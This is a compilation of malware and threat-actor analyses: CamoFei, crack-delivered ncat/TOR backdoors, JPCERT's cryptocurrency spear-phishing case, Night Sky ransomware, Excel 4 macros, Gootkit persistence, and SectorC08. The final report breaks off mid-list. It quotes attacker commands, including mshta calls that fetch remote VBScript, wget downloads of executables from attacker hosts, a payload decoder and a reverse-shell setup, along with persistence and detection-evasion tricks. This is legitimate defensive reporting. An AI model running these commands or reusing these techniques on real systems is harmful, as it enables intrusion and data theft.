System.Data.SqlClient.SqlCommand(sqlStr, connection); System.Data.SqlClient.SqlDataAdapter da = new System.Data.SqlClient.SqlDataAdapter(cmd); da.Fill(ds); System.Data.DataTable dataTable = ds.Tables[0]; if (dataTable.Rows.Count == 0) { lblInfo.Text = "没有需要导出的数据!"; lblInfo.ForeColor = System.Drawing.Color.Blue; return; } ``` ## Summary - Attack occurred around mid-September 2021 - Leverages unpatched exploits and numerous open-source projects as part of the post-exploitation actions - Deploys various webshells and .NET backdoors - Relies heavily upon the MSDTC DLL hijacking technique ## Conclusion ### Key Takeaways - CamoFei has launched massive attacks all over the world - APT attacks targeting healthcare is increasing and expanding - CamoFei TTP - Abuse legitimate Windows service as a launcher - Abuse cloud service for anti-tracking - Use ransomware to erase the traces ## Mitigation - Healthcare should strengthen its security capabilities - Double-check emails - Update and patch software vulnerabilities - Limit the usage of cloud services ## Thank You! - Zih-Cing Liao - [email protected] - [email protected]
# From Cracks to Empty Wallets – How Popular Cracks Lead to Digital Currency and Data Theft For about three years, hackers have been stealing cryptocurrency from victims’ Monero wallets using powerful malware delivered through software cracks for popular apps. Cracks and patches have been around since the advent of commercial software. Easy to use and widely available on specialized sharing websites, these small apps let people bypass commercial protections in popular software and use applications without paying for them. However, besides the legal implications of unauthorized software use, the cyber-security risks are serious. Bitdefender analysts have recently uncovered a series of attacks that leverage office tools and image-editing software cracks to compromise computers, hijack cryptocurrency wallets, and exfiltrate information via the TOR network. Once executed, the crack drops an instance of `ncat.exe` (a legitimate tool to send raw data over the network) as well as a TOR proxy. The Netcat and TOR proxy files are dropped on disk as either `%syswow64%\nap.exe` or `%syswow64%\ndc.exe` for the first one and `%syswow64%\tarsrv.exe` for the latter. Additionally, a batch file is dropped at `%syswow64%\chknap.bat` (for `nap.exe`) and `%syswow64%\nddcf.cmd` (for `ndc.exe`) that contains the command-line for the Ncat component, which cycles through ports 8000 to 9000 on a .onion domain. The tools work together to create a powerful backdoor that communicates through TOR with its command and control center: the ncat binary uses the listening port of the TOR proxy (`–proxy 127.0.0.1:9075`) and uses the standard `–exec` parameter, which allows all input from the client to be sent to the application and responses to be sent back to the client over the socket (reverse shell behavior). The crack creates persistence mechanisms for the TOR proxy file and the Ncat binary on the machine with a service and a scheduled task that runs every 45 minutes, respectively. Our investigation reveals that – most likely – the backdoor is being used interactively by a human operator rather than sending automated requests to the victims. Some of the actions we observed are: - File exfiltration. Ncat can receive local files to send over TOR to the command and control centers. - BitTorrent client execution. We believe attackers are using BitTorrent clients to exfiltrate data. - Turning off the firewall in preparation for data exfiltration. - Theft of Firefox browser profile data (history, credentials, and session cookies). Before exfiltration, attackers archive the profile folder with 7zip to generate one file that contains everything. - Theft of the Monero wallet via the legitimate CLI client `monero-wallet-cli.exe`. This list of actions is non-exhaustive, as attackers have complete control of the system and can adapt campaigns based on their current interests. ## Distribution Indicators of Compromise **File paths:** - `%SYSWOW64%\ncat.exe` - `%SYSWOW64%\ndc.exe` - `%SYSWOW64%\chknap.bat` - `%SYSWOW64%\nddcf.cmd` - `%SYSWOW64%\tarsrv.exe` - `%SYSTEM32%\ncat.exe` - `%SYSTEM32%\ndc.exe` - `%SYSTEM32%\tarsrv.exe` - `%SYSTEM32%\nddcf.cmd` - `%SYSTEM32%\tarsrv.exe` **File hashes:** *Ncat:* - `1859a996f978bf73798f337d4b6c7029d14c1cc272e4b8ef522497e61554041c` - `b65a7bbc6448e871c2d68d3bfb91760869877863ce1250b142e180a373fed891` - `930d414567d27eec1dbb59616dbdce0aa9cdece0135666dafa83bb9c260496c4` - `f29aecc2d0bca9fe874e2687adc4d0b0d21c8e7371cff291531dbbc6997abf5c` *Ncat-executing batch file:* - `d93fab085d15448e6540cde779189e753a45f5a13daea5dfea32d736091cdefd` - `782bac6a0d5d913ec5b20414fe226219c1e21124de2aaa5665375f712f3b6a51` - `18a432feca1f2e66986e19006a301cacb8cd2f1d89b340d72aac4f79eff70937` - `4f959c4b69af3604002f292aff87e3a603d45cee67f432d3bb34627c044d9afc` - `e02c70044e45c840aec446f4e9a7bc8708c4a37da534a1fecc75ad0937b94526` *Tor proxy:* - `97a9b6db3aee2308af341413f2671c86079c8d010e0b7f4c2324004553bc17a8` - `ef09d109eb6fe8d999247bf2a175b4642d6412ebf289957376761ab8bb63dbc5` - `f08d24a42c5befbf323507ca90b76a8d0152c5998bcfe86e34941c4e731748ae` - `e0569c36ad6c8f08cc0b64f25a10228cdf318b7a970ef0c203e1f3e69289ffc4` *Droppers:* - `ddc39ecf007b1e36b16182a73c73f4c7c9e37d69d55870f56dcc2cbdecb81827` - `156bcba04147d7e2bc2778a50c2bd434b9d50efd7fdf3f541a8e25d42c052cc0` - `e82606c6ce6d303456f26311d83715cd41716be4eed61b9aa3364f2c69a35620` - `e43db8e57a9829202458775f9eb5232a643eaf7603be737ade74355bb1f3a068` - `865f87c430271f1538f9535cbb8e3fb908abf4a87b13fce228232d726fb38b6b` **Onion domains:** - `4wye25lxiiws2n2uh7gyftn7cnas45o7adf5jjmnkusmhevaortywsad.onion` - `pya3iu6oldo62qn6yhimjztryxz3tqhb7bqkspfmdaqu5lqmspxxt5qd.onion` - `qmev4br46su73tn7wco5yx3f5ckcljchmgwtm56nvxbzkzngt777uoqd.onion` - `rxa3aqwxcz2sqthq5b4epmxjweaipq2phadfk6cmpvgdzqpyhfss4ryd.onion` - `s5dthib3esbzbbp4v6txpd4al2ozfpitkqk72hsdontvcmig3qdfacad.onion` - `wbjp5c5nfu6mnxb6pdtqgfhssdrzjf4756tj4bhhupnvqhv4sidfqgqd.onion` - `yzffgdbyrci3zdgerrarmx6faadvmtmcxboj25qvjb334cfuemh5t4ad.onion` - `cbjpyldwxfc5bzdszzbrcatrjlevjr5qsk44enytvkovkv2thzxmjhyd.onion` - `snbrrmnu3j7awyxu.onion`
# Spear Phishing against Cryptocurrency Businesses As of June 2019, JPCERT/CC has observed targeted emails to some Japanese organisations. These emails contain a URL to a cloud service and convince recipients to download a zip file which contains a malicious shortcut file. This article will describe the details of the attack method. ## How the VBScript downloader is launched The zip file downloaded from the URL in the email contains a password-protected decoy document and a shortcut file “Password.txt.lnk”. This shortcut file contains some commands, and they run when the file is executed. The below image illustrates the flow of events from the shortcut file being executed until the VBScript-based downloader is launched. The shortcut file contains the following command: ``` C:\Windows\System32\mshta.exe https://bit.ly/31O88c3 ``` When a user accesses the shortened URL, they will be redirected to the following site, and an HTML file containing the VBScript is downloaded. ``` http://service.amzonnews.club:8080/open?id=3F%2BE7HwXzwMRiysADDAgev15bAPluuPYB%2BufUnqYMCw%3D ``` The behaviour of the VBScript is described as follows. First, it creates and displays a text file that contains the password for the decoy document. Then, it creates a VBS file (oezjrjua.vbs) in the %TEMP% directory and executes it. It also lists the processes running in the environment and checks whether any of them contains specific strings ("hudongf" or "qhsafe"). If these are not included, then a shortcut file (xBoxOne.lnk) is created in the Startup folder. It is assumed that this process is meant to check strings that Qihoo 360 security products contain (zhudongfangyu.exe, qhsafemain.exe). ## Details of xBoxOne.lnk xBoxOne.lnk is a shortcut file and contains the following command: ``` C:\Windows\System32\mshta.exe https://bit.ly/2SGs76y ``` When a user accesses the shortened URL, they will be redirected to the following site: ``` http://update.gdrives.top:8080/open?id=b7hMO0D%2ByNbNZSqXu4Putub%2BZLLqg/S66Foz0YKUjety914cQmWz32MV6BE44pEd ``` This shortcut file is created in the Startup folder and executed when the login is processed. As of 26 June 2019, JPCERT/CC was not able to confirm the details of the site as the hostname could not be resolved. ## Details of oezjrjua.vbs oezjrjua.vbs is a downloader which sends a POST request every 3 minutes and executes the received data as VBScript. The following is an example. ``` POST /open?topics=s9[random 3-digit numeric] HTTP/1.1 Accept: */* Accept-Language: ja UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 75.133.9.84:8080 Content-Length: 7426 Connection: Keep-Alive Cache-Control: no-cache ``` ## Details of VBScript downloaded by oezjrjua.vbs JPCERT/CC has confirmed that the VBScript is received and executed in response to the POST request from oezjrjua.vbs. The executed VBScript collects information of the infected device and sends it to the attacker’s server every minute. The following information is sent: - Username - Host name - OS version - OS install date - OS run time - Time zone - CPU name - Execution path of oezjrjua.vbs - Network adapter information - List of running processes If the response to the data contains “20”, encoded data will be downloaded. It can be decoded with the following codes: ``` n=InStr(1,res,"#") // Finds # in the response key=CLng("&h" & Mid(res,1,n-1)) // Extract the key psc=Mid(ret,n+1,Len(res)-n) // Extracts encoded data sc=base64dec(psc) // Base64 decoding (1st time) psc=CStr(xor(sc,key)) // XOR processing on the key NStep=base64dec(psc) // Base64 decoding (2nd time) ``` The decoded data is expected to be VBScript, and it will be executed when it is correctly decoded. As of now, we have no clue about what kind of malware will be downloaded as a result since the encoded data is not accessible. It is assumed that attackers would inject some malicious files according to the victim’s environmental information. ## Access to the shortened URL JPCERT/CC observed a limited number of access to the shortened URL. This implies that the attack was conducted against a very limited range of targets. ## In closing In this series of attacks, we have observed that attackers change some parts of encoding and conditions for each attempt. It is likely that this type of attack continues with some customisation. Details about the shortcut file is available in Appendix A, list of samples in Appendix B and C&C servers in Appendix C. The hash values and C&C servers of some variants are listed in Appendix D and E. Please make sure that none of your devices is communicating to the C&C servers listed in Appendix C or E. These samples were mostly decoy documents with subjects about cryptocurrency. We are aware that some of these documents have been sent to organisations that are related to cryptocurrencies. We assume that this attack campaign specifically targets cryptocurrency operators and related entities. ## Appendix A: Shortcut file information **Table 1: Information contained in the shortcut file 1** | Drive serial number | fe42-66e0 | |---------------------|-----------| | NetBIOS name | desktop-6hpdfg4 | | MAC address | 94:b8:6d:42:68:1d | **Table 2: Information contained in the shortcut file 2** | Drive serial number | 1aee-e0bd | |---------------------|-----------| | NetBIOS name | desktop-m9r59ro | | MAC address | 74:27:ea:25:d6:11 | ## Appendix B: SHA-256 Hash value of the samples - 71346d2cb7ecf45d7fe221ede76da51a2ecb85110b9b27f1cb64c30f9af69250 - 01b5cd525d18e28177924d8a7805c2010de6842b8ef430f29ed32b3e5d7d99a0 - 10ce173cfe83321b44139e3d7d20c5ac1a9c1c99882387af0fdbadcfa2597651 - dc5f81c5bf0f5905ff2b6bdc4e1171fc41ad736da265801a64bb821bd76eace9 - 9ad472872ba20c66fad56b7340ae869ff4d6708a2d0fc275a0faaded6ab7b507 - de7fde10fabf91c03cdd894e40a19e664a9f9866932a801e57f1b79088847ebd - 4ecab0f81a2da70df5f2260bab7c8c130b200dbfe2bbd8e3d1845ff0c93c7861 - e982a70cb21c915d847925bd364d6d87f02eac135eac3ba80ad448700e1ae9a7 ## Appendix C: List of C&C servers - service.amzonnews.club - 75.133.9.84 - update.gdrives.top - googledrive.network ## Appendix D: SHA-256 Hash value of the similar samples - 901eca85c5711a53e53c48309b3afd34cbb014c91a20f8f716ee21832c7cd5e0 - c60aedbb20fdea048fa2d4b3bdc520f9f9b9172ee16c01dac19b33781b1bdb1d - 7446efa798cfa7908e78e7fb2bf3ac57486be4d2edea8a798683c949d504dee6 - 1533374acf886bc3015c4cba3da1c67e67111c22d00a8bbf7694c5394b91b9fc - b077edc8d08796cdff8b75e5cb66e0191510a559941b431e38040e51b6607876 - 997c4f7695a6a615da069d5f839582fdb83f215bc999e8af492636b2b5e3436c - a464781b616c86bbd68dbf909826444f7fd6c6ae378caf074926df7aebc4e3a1 ## Update: Nov 20, 2019 - 122674a261ac7061c8a304f3e4a1fb13023f39102e5605e30f7aad0ab388dfa0 - 57278dab6a0e8438444996503a6528ff8a816be0060d5e5db7a6ab1a0d6122f1 - 9b20767b11f7e54644104d455aa25c6a0fc99ce9d7b39b98408f8687209585e2 - d70988e43ebc4981e880489b11b6c374d466ef04803f9c2e084af037049cfd04 - f9e299c562195513968be88c6096957494cf15195a05c4abc907520eff872332 - 7dcbeb1806296739acfa5819872e8d9669a9c60be1fc96be9cb73ca519917ae8 ## Appendix E: C&C servers of the similar samples - drverify.dns-cloud.net - docs.googlefiledrive.com - europasec.dnsabr.com - eu.euprotect.net - 092jb_378v3_1.googldocs.org - gbackup.gogleshare.xyz - drive.gogleshare.xyz ## Update: Nov 20, 2019 - down.financialmarketing.live - drivegoogle.publicvm.com - googledrive.publicvm.com - mskpupdate.publicvm.com - googledrive.email - iellsfileshare.sharedrivegght.xyz - download.showprice.xyz - downs.showprice.xyz - mdown.showprice.xyz - start.showprice.xyz - u13580130.ct.sendgrid.net
# Night Sky is the Latest Ransomware Targeting Corporate Networks It's a new year, and with it comes a new ransomware to keep an eye on called 'Night Sky' that targets corporate networks and steals data in double-extortion attacks. According to MalwareHunterTeam, who first spotted the new ransomware, the Night Sky operation started on December 27th and has since published the data of two victims. One of the victims has received an initial ransom demand of $800,000 to obtain a decryptor and for stolen data not to be published. ## How the Night Sky Encrypts Devices A sample of the Night Sky ransomware seen by BleepingComputer is customized to contain a personalized ransom note and hardcoded login credentials to access the victim's negotiation page. When launched, the ransomware will encrypt all files except those ending with the .dll or .exe file extensions. The ransomware will also not encrypt files or folders in the following list: - AppData - Boot - Windows - Windows.old - Tor Browser - Internet Explorer - Google - Opera - Opera Software - Mozilla - Mozilla Firefox - $Recycle.Bin - ProgramData - All Users - autorun.inf - boot.ini - bootfont.bin - bootsect.bak - bootmgr - bootmgr.efi - bootmgfw.efi - desktop.ini - iconcache.db - ntldr - ntuser.dat - ntuser.dat.log - ntuser.ini - thumbs.db - Program Files - Program Files (x86) - #recycle When encrypting files, Night Sky will append the .nightsky extension to encrypted file names. In each folder, a ransom note named NightSkyReadMe.hta contains information related to what was stolen, contact emails, and hardcoded credentials to the victim's negotiation page. Instead of using a Tor site to communicate with victims, Night Sky uses email addresses and a clear web website running Rocket.Chat. The credentials are used to log in to the Rocket.Chat URL provided in the ransom note. ## Double-Extortion Tactic A common tactic used by ransomware operations is to steal unencrypted data from victims before encrypting devices on the network. The threat actors then use this stolen data in a "double-extortion" strategy, where they threaten to leak the data if a ransom is not paid. To leak victim's data, Night Sky has created a Tor data leak site that currently includes two victims, one from Bangladesh and another from Japan. While there has not been a lot of activity with the new Night Sky ransomware operation, it is one that we need to keep an eye on as we head into the new year.
# Excel 4 Macros: "Abnormal Sheet Visibility" **Published:** 2020-10-26 **Last Updated:** 2020-10-26 21:53:07 UTC **by Didier Stevens (Version: 1)** **3 comment(s)** Excel 4 macros are composed of formulas (commands) and values stored inside a sheet. Each sheet in a spreadsheet can be "visible", "hidden" or "very hidden". Malware authors will often make Excel 4 macro sheets hidden or very hidden. In .xls files, spreadsheet data is stored in the Workbook stream as BIFF records. There is a BIFF record for sheets: the BOUNDSHEET record. The byte value at position 5 in a BOUNDSHEET record defines the visibility of a sheet: visible (0x00), hidden (0x01) or very hidden (0x02). Encoding the visibility of a sheet is done with the 2 least significant bits. Per Microsoft's documentation, the 6 more significant bits are unused bits and must be ignored. In spreadsheets created with Excel, these bits are set to 0. From time to time, I find malicious Excel 4 macro documents, where these bits are not zero: oledump's plugin_biff will report this: "reserved bits not zero". The "visibility" value is 0x0A, that's 0x08 + 0x02: thus the sheet is very hidden (0x02). Excel has no problem at all opening a spreadsheet like this (the unused bits must be ignored). But if you use or develop detection rules like YARA, Suricata, ... ; be aware that these unused bits can be set to 1 instead of 0. You might wonder: 2 bits to encode visibility. Visible (0x00), hidden (0x01) or very hidden (0x02). What about 0x03? When a sheet's visibility is set to 0x03 (I do this by patching the .xls with a binary editor), my tests with Excel 2016 and 2019 show that an Excel 4 macro sheet will behave as "very hidden", and the macro code will be executed. However, before a user is prompted to enable macros, that user will have to click through extra warnings. **Didier Stevens** Senior handler Microsoft MVP Keywords: excel4 macros maldoc visibility **3 comment(s)**
# Analyzing Gootkit's Persistence Mechanism Malware authors are quite known for their innovation. A couple of years back, we wouldn't have imagined running into Node.js and JavaScript-based malware, yet that's exactly what Gootkit does. Gootkit is a piece of banking malware that uses web-injects (just like ZeuS and its derivatives) to capture credentials and OTPs from infected users. It has other nifty features such as TLS interception using a local proxy and fake certificates, keylogging, library hooking, UAC bypass... you name it. A mandatory step in malware's execution process is ensuring persistence, or survival from reboots. The most popular persistence mechanisms include adding an entry to the well-known "Run key" in the user's registry base, or creating a Windows service if the necessary privileges are available. Malware can also use Scheduled Tasks, Winlogon, AppInit, ActiveSetup... That was apparently not enough for the people behind Gootkit, since they use a completely different persistence mechanism. When running dynamic analysis of recent Gootkit samples (MD5 at the end of the blogpost), we noticed the creation of lots of .sdb files and just as many instances of sdbinst processes. A blogpost pointed us towards a paper written in 2014 by Jon Erickson, explaining how Microsoft's Fix it patches could be abused to ensure persistence. Gootkit is the first malware we see that uses this persistence mechanism. Fix-it patches are used by Microsoft to quickly issue patches without having to release entire binaries. They don't modify the target binary itself but instead provide the Windows loader with information allowing it to patch it once it has been loaded in memory. Patches range from performance improvements to security fixes and can be set on individual programs. The information concerning these patches is contained in .sdb files. The Windows loader identifies these files through the following registry keys: - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB The Custom key designates the corresponding GUID in the InstalledSDB key. InstalledSDB contains a pointer to the SDB file that will actually define where and how to apply the patch. Since creating this kind of patches implies writing to the HKLM registry key, administrator rights are required. The file located at C:\Windows\AppPatch\Custom\{...}.sdb is a binary file. It can be read with a tool like sdb-explorer. sdb-explorer can be used to manipulate .sdb files in many ways, but we'll show how to use it to recover the patch. `sdb-explorer.exe -t file.sdb` will generate a tree with the information contained in the SDB file. Here's the tree for patching myie.exe: ``` c TAG 7802 - INDEXES 12 TAG 7803 - INDEX 18 TAG 3802 - INDEX_TAG: 28679 (0x7007) 1c TAG 3803 - INDEX_KEY: 24577 (0x6001) 20 TAG 4016 - INDEX_FLAGS: 1 (0x1) 26 TAG 9801 - INDEX_BITS 45 58 45 2e 45 49 59 4d 62 1a 00 00 38 TAG 7001 - DATABASE 3e TAG 4023 - OS_PLATFORM: 0 (0x0) 44 TAG 6001 - NAME: myie.exe 4a TAG 9007 - DATABASE_ID: {5FA4B5F6-E2E3-4435-B56B-70A717FCFA61} NON-STANDARD 60 TAG 7002 - LIBRARY 66 TAG 7009 - SHIM_REF 6c TAG 7005 - PATCH 72 TAG 6001 - NAME: patchdata0 78 TAG 9002 - PATCH_BITS 1a62 TAG 7007 - EXE 1a68 TAG 6001 - NAME: myie.exe 1a6e TAG 6006 - APP_NAME: myie.exe 1a74 TAG 9004 - EXE_ID: {7BFBEB30-D6BB-4CC1-BD6A-E30E8AE75BDA} 1a8a TAG 7008 - MATCHING_FILE 1a90 TAG 6001 - NAME: myie.exe 1a96 TAG 700a - PATCH_REF 1a9c TAG 6001 - NAME: patchdata0 1aa2 TAG 4005 - PATCH_TAGID: 108 (0x6c) 1aa8 TAG 7801 - STRINGTABLE 1aae TAG 8801 - STRINGTABLE_ITEM: myie.exe 1ac6 TAG 8801 - STRINGTABLE_ITEM: patchdata0 ``` The interesting part is `1aa2 TAG 4005 - PATCH_TAGID: 108 (0x6c)`. You can dump the patch corresponding to PATCH_TAGID: 108 by issuing the command: `sdb-explorer.exe -p {...}.sdb 1aa2 > file.txt` file.txt will have contents similar to this: ``` Trying to process patch by tag type: PATCH_TAGID 00000000: 02 00 00 00 2a 17 00 00 d6 16 00 00 00 80 0c 00 [snip] 000019D0: 00 00 00 00 e8 33 71 07 00 eb f9 00 00 00 00 00 000019E0: 00 00 00 module : kernel32.dll opcode : 2 REPLACE actionSize : 5930 patternSize: 5846 RVA : 0x000c8000 Bytes: 55 8b ec 83 e4 f8 [snip] 5f 5e 5b 8b e5 5d c3 Code: 00000000 55 push ebp 00000001 8bec mov ebp, esp 00000003 83e4f8 and esp, 0xfffffff8 [snip] 000016cf 5f pop edi 000016d0 5e pop esi 000016d1 5b pop ebx 000016d2 8be5 mov esp, ebp 000016d4 5d pop ebp 000016d5 c3 ret ``` The MATCH instruction will check that the sequence of bytes are present (e.g. it is the correct version of the PE they are about to patch), and the REPLACE instruction will actually do the replacement. The `90 90 90 90 90` snippet allows for code to be inserted right before the entry point (or other function prologues) without breaking everything. The jmp instruction in our patch replaces a dummy instruction (mov edi, edi) and jumps to the call defined just before it, entering our code. It is then up to the code to jump back to the correct location after the patch. This process is somewhat similar to "hooking" functions in DLLs, except it is being done systematically by the Windows loader if the conditions match. In this case, the inserted snippet is responsible for loading Gootkit's main executable from the registry and launching it. The patch will look for a couple of registry keys in HKCU\Software\AppDataLow. They are named according to the system architecture: on a 32-bit Windows 7 system, the studied sample generated keys named BinaryImage32_[\d]: The loader concatenates all the key's values, and proceeds to decrypt the blob using a rotating XOR algorithm and uncompresses it using RtlDecompressBuffer (LZNT1). The file itself is Gootkit's bulky ~4.5 MB DLL which contains the Node.js engine to launch the malware. The loader then loads the PE, resolves imports, and DllMain, ensuring that the malicious payload is up and running. Dropper MD5 / SHA-1: a28a620b41f852cf7699a7218fe62c69 / 4095c19435cad4aed7490e2fb59c538b1885407a
# SectorC08: Multi-Layered SFX in Recent Campaigns Target Ukraine ## Overview Unlike other state-sponsored threat actors, SectorC08 appears to be only concerned with a single target: Ukraine. Artifacts of their likely activity have been found as far back as 2013, and up until today, their modus operandi in the initial stages of operation has not changed much. We analyzed over 50 of their executable malware files found very recently to look at similarities, differences, and outliers. We found that while a few samples still used SectorC08’s executable file structure, which contained batch scripts split into many files (e.g., Wariables.cmd) or batch scripts together with a decoder executable and an encoded executable, most of them followed the structure detailed below. ## Example of a Typical First Stage Structure All samples confirmed to have come in May and June used the same structure in their malware: a 7zSFX archive that opens a password-protected WinRARSFX archive, which then attempts to use a version of wget to download its third-stage malware, another WinRARSFX archive such as UltraVNC. ### Fake Documents Some of the malware samples we found contained an embedded fake document pertaining to Ukrainian issues. We observed six such embedded fake documents, which were sometimes reused against different targets. These documents are opened from the embedded batch file in the 7zSFX archive environment. The batch file is always the file that SectorC08 set to be run after the 7zSFX archive is executed, and the way the file distracts the victim while it performs its malicious activity is to open a fake document from that batch file. The fake documents are always in Ukrainian and pertain to Ukrainian issues such as legal, political, military, or police issues. By comparing the document content date to the malware's internal versioning code and from our knowledge of the malware’s previous versioning codes and dates, we can conclude that when the malware internal versioning code corresponds to a date, it is at least a roughly accurate timestamp, allowing us to create a partial timeline of events. For example, the fake military document dated 21st May 2019 was found in three separate malware samples, where the version code “21.05” (21st May) appeared twice and “22.05” (22nd May) appeared once. Another example is the undated fake police message where the version code “24.05” (24th May) appeared thrice, and “prok” and “27” appeared once each. ## Basic Anti-Analysis At the start of this batch script, the malware looks for Wireshark and Process Explorer using the TaskList command. If any of these exist, the script exits using an unspecified label “exit.” However, due to an error in their programming logic, this does not actually do everything the attacker thinks it does. While looking for Wireshark and Process Explorer was consistent across their malware samples, we also found singular instances where the malware was checking for HttpAnalyzer and an old different malware family sample of SectorC08’s, which also checked whether the machine’s username was a known sandbox username such as “TEQUILABOOMBOOM” or “MALWARETEST.” ## First Stage Persistence In this sample, the first stage 7zSFX archive contains the first stage batch script (filename: “18974.cmd”), a shortcut link to run “%USERPROFILE%\winver.exe -pgblfhsuyjqyst” (filename: “11666”), the fake document (6710), and the second stage WinRARSFX archive (filename: “5610”). In the first stage batch script, we can see that the second stage executable is getting renamed and moved to “%USERPROFILE%\winver.exe,” then the shortcut file is being moved to “%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\winver.lnk” for persistence. ## Sample Second Stage In many recent cases, their second stage is a password-protected WinRARSFX that contains a VBS file whose only purpose is to run batch commands via WScript, a .cmd batch file containing the commands to be run, and a renamed version of wget. The password used to open the second stage is “uyjqystgblfhs.” While SectorC08 sometimes changes the WinRARSFX password, we observed this particular password being used at least 11 times across their various malware samples. ## Second Stage Persistence and Wget After the first stage, the 7zSFX archive always eventually acts as a downloader in the second stage, launching various versions of wget to download its third stage. From the sample contents, we can see that MicrosoftCreate.exe (some version of wget) is being renamed and moved to “%APPDATA%\Microsoft\IE\weristotal.exe.” This weristotal.exe is then set to download an EXE file from hxxp://bitvers[.]ddns[.]net/[computerinfo]/winusers.exe in a scheduled task, which is then executed in another scheduled task. The scheduled task to perform the download happens every 30 minutes, and this is important to note because SectorC08’s servers often return an HTTP 403 Forbidden error instead of the requested file. Separately, the original MicrosoftCreate.exe also attempts to download another executable, jasfix.exe, from hxxp://wincreator[.]ddns[.]net/[computerinfo]/winusers.exe. While both of these wget downloads are to different DDNS servers, both servers point to the same IP addresses and the same file paths, meaning that it is also a form of redundancy for SectorC08. In order to identify victims, fields sent in the wget command include the “comp” field (containing %computername% environment variable) and the “sysinfo” field (containing the entire contents of the systeminfo command). All of these are sent in the clear using HTTP. ## Summary SectorC08 is a threat group interested in targeting Ukraine and has been doing so for many years. While their tactics have not changed much, that only goes to show that they have achieved at least some success in their operations over the years. From a technical standpoint, their custom malware might appear unsophisticated due to the low technical difficulty in creating these malware samples, but due to their creative use of various versions of open-source utilities and modifying a lot of static information, they have consistently achieved low detections from security products and are likely to continue to do so. ## Indicators of Compromise (IoCs) ### Hashes (SHA-256) - 26810e37b605df1a444dc9468d79d8ead28e134a9541ee67241eb50924e4236e - a3fbc94375920390db0d53e2dd59e7606042e047e017125904de6965a502b2f0 - b6addc4567145df117d14cfbe6edac98676af16ac5a2da77fb9da31734e3a50e - cab1a3ede5f8b222f402896b2acc315568ee35b8bed02b4d9172cbe75a206e4e - 3399e9e57052410411bade73176cea11479a46a7adf866b615a6f369f3e8e9d2 - 374fd24a31894d9090e46f7bd25cfe5192981e4df45ef7a9be128e37a9e11dde - 8c6673f5081bf1389bd5adb88453d86900e17aaa4b9887aa7eb1fd02bbe89dca - 9034b7fd62f9d655c7bbbee19f33e9d334fe57849ca938f3293cdb41647e0e89 - 3c464eb893b719c35064a5ed60f9a204e231b3f5e960782893e4a5f1124aff3b - 5dae4d7bbff9ebe9f4032c009f233633baa79061efd7a9e3deaf2c0bc18ac742 - 020c268089ff2590d27349d0ba9e748269e3afa40127f7acb9d44fcc31a0c30f - 73eae0ddc00d228c49ee6aa3369603fb153b56264b8092dd175c2fb49646af39 - a7cb50745886f2535d7eefde299cdaa2f64df44163c09a779c9f859bc6304d87 - 958a9876b158c4ef96556535a2822b2a5193259c4a71086c5ed003c8e5109b63 - 2709dc808c0fbf6d4990466e44b15f9aa2c94569a137dbb83a95fc8e1beefb89 - 55cdfe068487a8ca2c1bbfe852f27c9f0d1918d6d5182f28456a5af361511ce3 - 3bbedec42b4fb9ee2624b36ebb9214d41405a399df86a9332e5cc45cf399201c - be41c927eb7445e759027b84a87426643d39f6287320ef085889b8367e311bfd - a800af4fb370c0afb58c4a300e4fcd7f25439d3379bdf82687a1e86848209799 - 5555a3292bc6b6e7cb61bc8748b21c475b560635d8b0cc9686b319736c1d828e - 1fa39419ea9c2e46acc1f84a6513ae05db8b66cf2fad419962c86ec32f63b5af - c298f905949799fd52c162f35bea112bddc9fa2f921a47f346818d95f71a5c2e - 9d51ff330c2772458a8597252b9d13af4ff41e277a942a978070cb8280621760 - 151ddd68312859bb7b13d3486b95f2f48a4cc7eea3d4f4f4ffc643f2fd34eed6 - 78daa3f1af5489ee9926752a92e024e2ba18587e53463d81676598d5ccdc3b24 - abe17d0cefbbfd24a8df1607ff30628960a4bc5baf035c9d07e15628727523d3 - cbbd69de64be85fe1a0d63acde5bf735bd424a57c25893036bb2a16fc99cec2c - a8f849d536481d7d8a0fa59a7bcc03dd3387ab4cc14c0342371ae295817f505c - 9dbc77844fc3ff3565970cb09d629a710fdec3065b6e4c37b20a889c716c53bf - fc3a1af59e1ff1d1d4fe38976900708e2003d40e065b075e517cd483d440fe57 - 1c139173ea4b615a09d27070443f6b601d8571d02fd5445cfec2ce690c276da1 - 09c527ed64ac87b9dfce00e6ed5562d1fc508bfb018eac493cf0c02558c7a840 - d55cb155a97c7c8dfea78b54fa6a5b0a8952068a87357fac221fbe6e70d7a1ea - cadb3faa4953c3e9f0f2a5204373b20a2984ee371b9d230717dbfa67e84eb9c4 - 14212c4cc251bb1876a01b6fbcc68eb7d0f8e754cac66b417aa0589229471f14 - 31d8d4e95d2d932c3a9cfc8aea15f8fc464290202f8d681f1e63b93cbf057c1a - 548b0ef8da5ec586fb47e56c852e4f7b3f3c424ed9deabc91416bdf996885820 - cd59b18c84e79c5fcf5a93600e06493d84c9766985ed7cfab3b9478a4c30472e - 39629483da85cb8bf8a32e83f54a6a89320fc9e574d657f0636207d1eb669f38 - 2a1efabb5a1eb219ae9232a28c9e37d176dd98866c93509f11733dd9e8fce97b - 449dd5126d51d51b1f0f6bebea52b36c9aa196f2f2cbd6e677013e26bd832ffb - 22821897a44e2db6a816f54a21e34aa59234baf2d3ae54d9ecaadd0ceceffa74 - d708c90d51efd1a7b6bc5142b6736bd90454d943d9d6e1860cd6395918ff9ad0 - 14e814c9cb2e0a03055163625b3099706bd92b95141831acb9150cfba1403bfa - 9f697822a3d4714d3b0732aead3c0b2ba14c99f183d06b0694c98a5578cc08c4 - 601d85c0236f8d3a82fecf353adb106fac23f1681ef866783ff6e634538c9ce0 - ba2b5092d1fb79698b6f25c4a435632887164672bd355add2c7e7ffce9a45d72 - d3ad9b3b0b6cee60c828c847c9ebd9f7cd5e6b6b5ef31b368b16437e48f7204f - 80301273fa0189a57514611a17fe79809a5c1eb044000399b7fce9a73379a9b9 - 6ffee0a44eaf37c8f00e16e18484bebbf4cad32c9b65b7e1329284d92ca0ff5e ### wget utilities (SHA-256) - 92CCC276806C98C4A163855ED6532395438435DB433ECF02A04A9295F6703492 - F5BDE8107EC70097D786896F4AA16B96B597DBF0936F61C7856D4C686AA69B54 - 